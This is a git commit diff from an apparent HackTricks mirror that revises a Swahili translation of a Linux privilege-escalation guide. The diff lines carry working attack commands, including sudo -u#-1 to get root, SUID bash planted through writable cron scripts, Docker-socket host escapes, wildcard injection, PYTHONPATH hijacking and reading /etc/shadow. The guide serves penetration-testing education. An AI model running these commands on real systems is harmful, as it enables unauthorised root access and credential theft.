mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l
This commit is contained in:
parent
063a6b4809
commit
90792eea2d
@ -96,6 +96,7 @@
|
||||
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## System Information
|
||||
## Taarifa za Mfumo
|
||||
|
||||
### OS info
|
||||
### Taarifa za OS
|
||||
|
||||
Tuanzishe kupata maarifa kuhusu OS inayotumika
|
||||
Hebu tuanze kupata maarifa kuhusu OS inayotembea
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### Path
|
||||
|
||||
Ikiwa una **idhini za kuandika kwenye folda yoyote ndani ya mabadiliko ya `PATH`** unaweza kuwa na uwezo wa kuiba baadhi ya maktaba au binaries:
|
||||
Ikiwa una **idhini za kuandika kwenye folda yoyote ndani ya mabadiliko ya `PATH`** unaweza kuwa na uwezo wa kuingilia baadhi ya maktaba au binaries:
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
@ -26,7 +26,7 @@ Habari za kuvutia, nywila au funguo za API katika mabadiliko ya mazingira?
|
||||
```
|
||||
### Kernel exploits
|
||||
|
||||
Angalia toleo la kernel na ikiwa kuna exploit ambayo inaweza kutumika kuongeza mamlaka.
|
||||
Angalia toleo la kernel na ikiwa kuna exploit ambayo inaweza kutumika kuongeza mamlaka
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -43,7 +43,7 @@ Tools ambazo zinaweza kusaidia kutafuta kernel exploits ni:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (tekeleza KATIKA mwathirika, inachunguza exploits tu za kernel 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (tekeleza KATIKA mwathirika, inachunguza exploits za kernel 2.x pekee)
|
||||
|
||||
Daima **tafuta toleo la kernel katika Google**, labda toleo lako la kernel limeandikwa katika exploit fulani ya kernel na kisha utakuwa na uhakika kwamba exploit hii ni halali.
|
||||
|
||||
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||||
```
|
||||
### Sudo version
|
||||
|
||||
Kulingana na toleo la sudo lenye udhaifu ambalo linaonekana katika:
|
||||
Kulingana na toleo la sudo lililo hatarini ambalo linaonekana katika:
|
||||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg saini ya uthibitisho imefeli
|
||||
|
||||
Angalia **smasher2 box ya HTB** kwa **mfano** wa jinsi hii vuln inaweza kutumika.
|
||||
Angalia **smasher2 box of HTB** kwa **mfano** wa jinsi hii vuln inaweza kutumika.
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
@ -144,40 +144,40 @@ Taja binaries muhimu
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Pia, angalia kama **compiler yoyote imewekwa**. Hii ni muhimu ikiwa unahitaji kutumia exploit ya kernel kwani inashauriwa kuikamilisha kwenye mashine ambayo unakusudia kuitumia (au kwenye moja inayofanana).
|
||||
Pia, angalia kama **compiler yoyote imewekwa**. Hii ni muhimu ikiwa unahitaji kutumia exploit ya kernel kwani inashauriwa kuikamilisha kwenye mashine ambayo unakusudia kuitumia (au kwenye moja inayofanana)
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### Programu Zenye Uthibitisho Zilizowekwa
|
||||
|
||||
Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumiwa kwa ajili ya kupandisha mamlaka...\
|
||||
Inapendekezwa kuangalia kwa mikono toleo la programu zinazoshuku zaidi zilizowekwa.
|
||||
Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa ajili ya kupandisha mamlaka...\
|
||||
Inapendekezwa kuangalia kwa mikono toleo la programu zinazoshukiwa zaidi zilizowekwa.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
```
|
||||
Ikiwa una ufikiaji wa SSH kwa mashine, unaweza pia kutumia **openVAS** kuangalia programu zilizopitwa na wakati na zenye udhaifu zilizowekwa ndani ya mashine.
|
||||
|
||||
> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kiasi kikubwa zitakuwa hazina maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa na hiyo ambayo itakagua ikiwa toleo lolote la programu lililowekwa lina udhaifu kwa mashambulizi yanayojulikana._
|
||||
> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kawaida zitakuwa hazina maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa na hiyo ambayo itakagua ikiwa toleo lolote la programu lililowekwa lina udhaifu kwa mashambulizi yanayojulikana._
|
||||
|
||||
## Mchakato
|
||||
|
||||
Angalia **michakato gani** inatekelezwa na uangalie ikiwa mchakato wowote una **privileges zaidi kuliko inavyopaswa** (labda tomcat inatekelezwa na root?)
|
||||
Angalia **michakato gani** inatekelezwa na uangalie ikiwa mchakato wowote una **privilege zaidi kuliko inavyopaswa** (labda tomcat inatekelezwa na root?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Daima angalia kwa [**electron/cef/chromium debuggers** zinazotembea, unaweza kuzitumia kuboresha mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** inatambua hizo kwa kuangalia parameter ya `--inspect` ndani ya mistari ya amri ya mchakato.\
|
||||
Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kuandika upya mtu mwingine.
|
||||
Daima angalia kwa [**electron/cef/chromium debuggers** zinazotembea, unaweza kuzitumia kuboresha mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** inatambua hizo kwa kuangalia parameter `--inspect` ndani ya mistari ya amri ya mchakato.\
|
||||
Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kuandika tena mtu.
|
||||
|
||||
### Ufuatiliaji wa mchakato
|
||||
|
||||
Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kutambua michakato dhaifu inayotekelezwa mara kwa mara au wakati seti ya mahitaji inakamilishwa.
|
||||
Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kutambua michakato dhaifu inayotekelezwa mara kwa mara au wakati seti ya mahitaji inakutana.
|
||||
|
||||
### Kumbukumbu ya mchakato
|
||||
|
||||
Huduma zingine za seva huhifadhi **nyaraka kwa maandiko wazi ndani ya kumbukumbu**.\
|
||||
Huduma zingine za seva huhifadhi **nyaraka wazi ndani ya kumbukumbu**.\
|
||||
Kwa kawaida utahitaji **mamlaka ya root** kusoma kumbukumbu za michakato zinazomilikiwa na watumiaji wengine, kwa hivyo hii kwa kawaida ni muhimu zaidi unapokuwa tayari root na unataka kugundua nyaraka zaidi.\
|
||||
Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu za michakato unayomiliki**.
|
||||
|
||||
@ -189,7 +189,7 @@ Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu
|
||||
> - **kernel.yama.ptrace_scope = 0**: michakato yote inaweza kufuatiliwa, mradi tu zina uid sawa. Hii ndiyo njia ya kawaida jinsi ptracing ilivyofanya kazi.
|
||||
> - **kernel.yama.ptrace_scope = 1**: mchakato wa mzazi tu unaweza kufuatiliwa.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Ni admin tu anayeweza kutumia ptrace, kwani inahitaji uwezo wa CAP_SYS_PTRACE.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara ikisetwa, upya unahitajika ili kuwezesha ptracing tena.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara ikisetwa, inahitajika kuanzisha upya ili kuwezesha ptracing tena.
|
||||
|
||||
#### GDB
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Kwa kitambulisho cha mchakato kilichotolewa, **ramani zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani ya virtual ya mchakato huo**; pia inaonyesha **idhini za kila eneo lililopangwa**. Faili ya **mem** pseudo **inaonyesha kumbukumbu ya michakato yenyewe**. Kutoka kwenye faili la **ramani** tunajua ni **mikoa ya kumbukumbu ambayo inaweza kusomwa** na offsets zao. Tunatumia taarifa hii **kutafuta ndani ya faili la mem na kutupa maeneo yote yanayoweza kusomwa** kwenye faili.
|
||||
Kwa kitambulisho cha mchakato kilichotolewa, **ramani zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani ya virtual ya mchakato huo**; pia inaonyesha **idhini za kila eneo lililopangwa**. Faili ya pseudo **mem inafichua kumbukumbu ya mchakato yenyewe**. Kutoka kwenye faili ya **ramani** tunajua ni zipi **sehemu za kumbukumbu zinazoweza kusomwa** na offsets zao. Tunatumia taarifa hii **kutafuta ndani ya faili ya mem na kutupa maeneo yote yanayoweza kusomwa** kwenye faili.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -296,8 +296,8 @@ Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/hunt
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Mawasiliano ya FTP Yanayoendelea) | vsftpd |
|
||||
| Apache2 (Mikutano ya HTTP Basic Auth Inayoendelea)| apache2 |
|
||||
| OpenSSH (Mikutano ya SSH Inayoendelea - Matumizi ya Sudo) | sshd: |
|
||||
| Apache2 (Mikutano ya HTTP Basic Auth Yanayoendelea)| apache2 |
|
||||
| OpenSSH (Mikutano ya SSH Yanayoendelea - Matumizi ya Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron kutumia skripti yenye wildcard (Wildcard Injection)
|
||||
|
||||
Ikiwa skripti inayotekelezwa na root ina “**\***” ndani ya amri, unaweza kuitumia hii kufanya mambo yasiyotarajiwa (kama privesc). Mfano:
|
||||
Ikiwa skripti inayoendeshwa na root ina “**\***” ndani ya amri, unaweza kuitumia hii kufanya mambo yasiyotarajiwa (kama privesc). Mfano:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**Ikiwa wildcard inatanguliwa na njia kama** _**/some/path/\***_ **, haiko hatarini (hata** _**./\***_ **siyo).**
|
||||
**Ikiwa wildcard imeandamana na njia kama** _**/some/path/\***_ **, haiko hatarini (hata** _**./\***_ **siyo).**
|
||||
|
||||
Soma ukurasa ufuatao kwa mbinu zaidi za unyakuzi wa wildcard:
|
||||
|
||||
@ -356,13 +356,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, huenda ikawa na manufaa kufuta folda hiyo na **kuunda folda ya symlink kwa folda nyingine** inayohudumia script inayodhibitiwa na wewe.
|
||||
Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufaccess kamili**, huenda ikawa na manufaa kufuta folda hiyo na **kuunda folda ya symlink kwa nyingine** inayohudumia script inayodhibitiwa na wewe
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Kazi za cron za mara kwa mara
|
||||
|
||||
Unaweza kufuatilia michakato ili kutafuta michakato inayotekelezwa kila dakika 1, 2 au 5. Huenda ukatumia fursa hiyo na kupandisha mamlaka.
|
||||
Unaweza kufuatilia michakato ili kutafuta michakato inayotekelezwa kila dakika 1, 2 au 5. Huenda unaweza kuchukua faida yake na kupandisha mamlaka.
|
||||
|
||||
Kwa mfano, ili **kufuatilia kila 0.1s kwa dakika 1**, **panga kwa amri zilizotekelezwa kidogo** na uondoe amri ambazo zimekuwa zikitekelezwa zaidi, unaweza kufanya:
|
||||
```bash
|
||||
@ -380,7 +380,7 @@ Inawezekana kuunda kazi ya cron **kwa kuweka kurudi kwa gari baada ya maoni** (b
|
||||
|
||||
### Writable _.service_ files
|
||||
|
||||
Angalia kama unaweza kuandika faili zozote za `.service`, ikiwa unaweza, unaweza **kubadilisha** ili **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **kurejelewa** au **kusitishwa** (labda utahitaji kusubiri hadi mashine irejelewe).\
|
||||
Angalia kama unaweza kuandika faili zozote za `.service`, ikiwa unaweza, unaweza **kubadilisha** ili **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **kurejelewa** au **kusitishwa** (labda utahitaji kusubiri hadi mashine ireboot).\
|
||||
Kwa mfano, tengeneza backdoor yako ndani ya faili .service na **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Writable service binaries
|
||||
@ -393,7 +393,7 @@ Unaweza kuona PATH inayotumika na **systemd** na:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Ikiwa utagundua kuwa unaweza **kuandika** katika yoyote ya folda za njia hiyo unaweza kuwa na uwezo wa **kuinua mamlaka**. Unahitaji kutafuta **njia za uhusiano zinazotumika kwenye faili za usanidi wa huduma** kama:
|
||||
Ikiwa unapata kwamba unaweza **kuandika** katika yoyote ya folda za njia hiyo unaweza kuwa na uwezo wa **kuinua mamlaka**. Unahitaji kutafuta **njia za uhusiano zinazotumika kwenye faili za usanidi wa huduma** kama:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
@ -407,7 +407,7 @@ Kisha, tengeneza **executable** yenye **jina sawa na njia ya binary** ndani ya f
|
||||
|
||||
**Timers** ni faili za kitengo cha systemd ambazo jina lake linamalizika kwa `**.timer**` ambazo zinadhibiti faili za `**.service**` au matukio. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada wa ndani kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na zinaweza kuendeshwa kwa njia isiyo ya sambamba.
|
||||
|
||||
Unaweza kuhesabu timers zote kwa:
|
||||
Unaweza kuorodhesha timers zote kwa:
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
@ -417,14 +417,14 @@ Ikiwa unaweza kubadilisha timer unaweza kufanya iweze kutekeleza baadhi ya matuk
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Katika hati unaweza kusoma kuhusu kile ambacho Kitengo ni:
|
||||
Katika hati unaweza kusoma kuhusu nini Unit ni:
|
||||
|
||||
> Kitengo cha kuamsha wakati kipima muda hiki kinapokamilika. Hoja ni jina la kitengo, ambacho kiambishi chake si ".timer". Ikiwa hakijasemwa, thamani hii inarudi kwa huduma ambayo ina jina sawa na kitengo cha kipima muda, isipokuwa kwa kiambishi. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachowashwa na jina la kitengo cha kipima muda liwe sawa, isipokuwa kwa kiambishi.
|
||||
> Kitengo cha kuamsha wakati kipima muda hiki kinapokamilika. Hoja ni jina la kitengo, ambacho kiambishi chake si ".timer". Ikiwa hakijasemwa, thamani hii inarudi kwa huduma ambayo ina jina sawa na kitengo cha kipima muda, isipokuwa kwa kiambishi. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo linaloamshwa na jina la kitengo cha kipima muda liwe sawa, isipokuwa kwa kiambishi.
|
||||
|
||||
Kwa hivyo, ili kutumia ruhusa hii unahitaji:
|
||||
|
||||
- Kupata kitengo fulani cha systemd (kama `.service`) ambacho kina **tekeleza binary inayoweza kuandikwa**
|
||||
- Kupata kitengo fulani cha systemd ambacho kina **tekeleza njia ya uhusiano** na una **ruhusa za kuandika** juu ya **PATH ya systemd** (ili kujifanya kuwa executable hiyo)
|
||||
- Kupata kitengo fulani cha systemd (kama `.service`) ambacho kina **kikimbia binary inayoweza kuandikwa**
|
||||
- Kupata kitengo fulani cha systemd ambacho kina **kikimbia njia ya uhusiano** na una **ruhusa za kuandika** juu ya **PATH ya systemd** (ili kujifanya kuwa executable hiyo)
|
||||
|
||||
**Jifunze zaidi kuhusu vipima muda na `man systemd.timer`.**
|
||||
|
||||
@ -445,7 +445,7 @@ Sockets zinaweza kuundwa kwa kutumia faili za `.socket`.
|
||||
|
||||
**Jifunze zaidi kuhusu sockets na `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kuundwa:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini muhtasari unatumiwa ku **onyesha wapi itasikiliza** socket (njia ya faili la socket la AF_UNIX, IPv4/6 na/au nambari ya bandari ya kusikiliza, nk.)
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini muhtasari unatumiwa ku **onyesha wapi itasikiliza** socket (njia ya faili la socket la AF_UNIX, nambari ya IPv4/6 na/au nambari ya bandari ya kusikiliza, nk.)
|
||||
- `Accept`: Inachukua hoja ya boolean. Ikiwa **kweli**, **kigezo cha huduma kinazaliwa kwa kila muunganisho unaokuja** na socket ya muunganisho pekee inapitishwa kwake. Ikiwa **uongo**, sockets zote zinazokisikiliza zenyewe zinapitishwa kwa **kitengo cha huduma kilichozinduliwa**, na kitengo kimoja cha huduma kinazaliwa kwa muunganisho wote. Thamani hii inapuuziliwa mbali kwa sockets za datagram na FIFOs ambapo kitengo kimoja cha huduma kinashughulikia bila masharti trafiki yote inayokuja. **Inarudiwa kuwa uongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazokisikiliza ku **undwa** na kuunganishwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili la moja kwa moja, kisha ikifuatwa na hoja za mchakato.
|
||||
- `ExecStopPre`, `ExecStopPost`: Amri za ziada ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazokisikiliza ku **fungwa** na kuondolewa, mtawalia.
|
||||
@ -485,15 +485,15 @@ Kumbuka kwamba kunaweza kuwa na **soketi zinazotafakari maombi ya HTTP** (_Sizun
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
Ikiwa socket **inas respond na HTTP** ombi, basi unaweza **kuwasiliana** nayo na labda **kutumia udhaifu fulani**.
|
||||
Ikiwa soketi **inas respond na HTTP** ombi, basi unaweza **kuwasiliana** nayo na labda **kutumia udhaifu fulani**.
|
||||
|
||||
### Socket ya Docker Inayoweza Kuandikwa
|
||||
### Soketi la Docker Linaloweza Kuandikwa
|
||||
|
||||
Socket ya Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa kawaida, inaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ufikiaji wa kuandika kwenye socket hii kunaweza kusababisha kupanda vyeo. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haipatikani.
|
||||
Soketi la Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa kawaida, linaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha kupanda hadhi. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haipatikani.
|
||||
|
||||
#### **Kupanda Vyeo kwa kutumia Docker CLI**
|
||||
#### **Kupanda Hadhi kwa Kutumia Docker CLI**
|
||||
|
||||
Ikiwa una ufikiaji wa kuandika kwenye socket ya Docker, unaweza kupanda vyeo kwa kutumia amri zifuatazo:
|
||||
Ikiwa una ufikiaji wa kuandika kwenye soketi ya Docker, unaweza kupanda hadhi kwa kutumia amri zifuatazo:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -564,9 +564,9 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus ni mfumo wa **mawasiliano kati ya michakato (IPC)** ambao unaruhusu programu kuingiliana kwa ufanisi na kushiriki data. Imeundwa kwa kuzingatia mfumo wa kisasa wa Linux, inatoa muundo thabiti kwa aina mbalimbali za mawasiliano ya programu.
|
||||
|
||||
Mfumo huu ni wa kubadilika, ukisaidia IPC ya msingi inayoboresha ubadilishanaji wa data kati ya michakato, ikikumbusha **sockets za UNIX zilizoboreshwa**. Aidha, inasaidia kutangaza matukio au ishara, ikikuza uunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kumfanya mpiga muziki kukatiza, ikiboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inasaidia mfumo wa vitu vya mbali, ikirahisisha maombi ya huduma na wito wa mbinu kati ya programu, ikipunguza michakato ambayo hapo awali ilikuwa ngumu.
|
||||
Mfumo huu ni wa kubadilika, ukisaidia IPC ya msingi inayoboresha ubadilishanaji wa data kati ya michakato, ikikumbusha **sockets za UNIX zilizoboreshwa**. Aidha, inasaidia kutangaza matukio au ishara, ikihamasisha uunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kumfanya mpiga muziki akate kelele, kuboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inasaidia mfumo wa vitu vya mbali, ikirahisisha maombi ya huduma na wito wa mbinu kati ya programu, ikipunguza michakato ambayo hapo awali ilikuwa ngumu.
|
||||
|
||||
D-Bus inafanya kazi kwa **mfumo wa ruhusa/zuia**, ikisimamia ruhusa za ujumbe (wito wa mbinu, utoaji wa ishara, nk.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na basi, na inaweza kuruhusu kupandisha mamlaka kupitia unyakuzi wa ruhusa hizi.
|
||||
D-Bus inafanya kazi kwa **mfumo wa ruhusa/zuia**, ikisimamia ruhusa za ujumbe (wito wa mbinu, utoaji wa ishara, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na basi, na inaweza kuruhusu kupandisha mamlaka kupitia unyakuzi wa ruhusa hizi.
|
||||
|
||||
Mfano wa sera kama hiyo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` unapatikana, ukielezea ruhusa za mtumiaji wa root kumiliki, kutuma, na kupokea ujumbe kutoka `fi.w1.wpa_supplicant1`.
|
||||
|
||||
@ -614,7 +614,7 @@ lsof -i
|
||||
```
|
||||
### Open ports
|
||||
|
||||
Daima angalia huduma za mtandao zinazofanya kazi kwenye mashine ambayo hukuweza kuingiliana nayo kabla ya kuipata:
|
||||
Daima angalia huduma za mtandao zinazofanya kazi kwenye mashine ambayo hukuweza kuingiliana nayo kabla ya kuifikia:
|
||||
```bash
|
||||
(netstat -punta || ss --ntpu)
|
||||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
@ -625,11 +625,11 @@ Angalia kama unaweza kunusa trafiki. Ikiwa unaweza, unaweza kuwa na uwezo wa kup
|
||||
```
|
||||
timeout 1 tcpdump
|
||||
```
|
||||
## Users
|
||||
## Watumiaji
|
||||
|
||||
### Generic Enumeration
|
||||
### Uainishaji wa Kijenerali
|
||||
|
||||
Angalia **nani** ulivyo, ni **mamlaka** gani ulizonazo, ni **watumiaji** gani wako kwenye mifumo, ni yupi anaweza **kuingia** na ni yupi ana **mamlaka ya root:**
|
||||
Angalia **nani** ulivyo, ni **haki** gani ulizonazo, ni **watumiaji** gani wako katika mifumo, ni yupi anaweza **kuingia** na ni yupi ana **haki za mzizi:**
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -654,7 +654,7 @@ gpg --list-keys 2>/dev/null
|
||||
### Big UID
|
||||
|
||||
Baadhi ya toleo za Linux zilipata hitilafu inayowaruhusu watumiaji wenye **UID > INT_MAX** kupandisha mamlaka. Maelezo zaidi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) na [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Tumia** kwa: **`systemd-run -t /bin/bash`**
|
||||
**Exploiti** kwa kutumia: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
|
||||
@ -688,7 +688,7 @@ Ikiwa unajua **nenosiri lolote** la mazingira, **jaribu kuingia kama kila mtumia
|
||||
### Su Brute
|
||||
|
||||
Ikiwa hujali kufanya kelele nyingi na `su` na `timeout` binaries zipo kwenye kompyuta, unaweza kujaribu kujaribu nguvu mtumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kwa kutumia parameter `-a` pia hujaribu kujaribu nguvu watumiaji.
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kwa kutumia parameter `-a` pia jaribu kujaribu nguvu watumiaji.
|
||||
|
||||
## Writable PATH abuses
|
||||
|
||||
@ -726,19 +726,19 @@ sudo vim -c '!sh'
|
||||
```
|
||||
### SETENV
|
||||
|
||||
Hii amri inamruhusu mtumiaji **kuweka variable ya mazingira** wakati wa kutekeleza kitu:
|
||||
Hii amri inamruhusu mtumiaji **kuweka mabadiliko ya mazingira** wakati wa kutekeleza kitu:
|
||||
```bash
|
||||
$ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Mfano huu, **uliotokana na mashine ya HTB Admirer**, ulikuwa **na udhaifu** wa **PYTHONPATH hijacking** ili kupakia maktaba ya python isiyokuwa na mipaka wakati wa kutekeleza skripti kama root:
|
||||
Mfano huu, **unaotegemea mashine ya HTB Admirer**, ulikuwa **na udhaifu** wa **PYTHONPATH hijacking** ili kupakia maktaba ya python isiyo na mipaka wakati wa kutekeleza skripti kama root:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Sudo execution bypassing paths
|
||||
|
||||
**Jump** kusoma faili nyingine au kutumia **symlinks**. Kwa mfano katika faili la sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Jump** kusoma faili nyingine au tumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
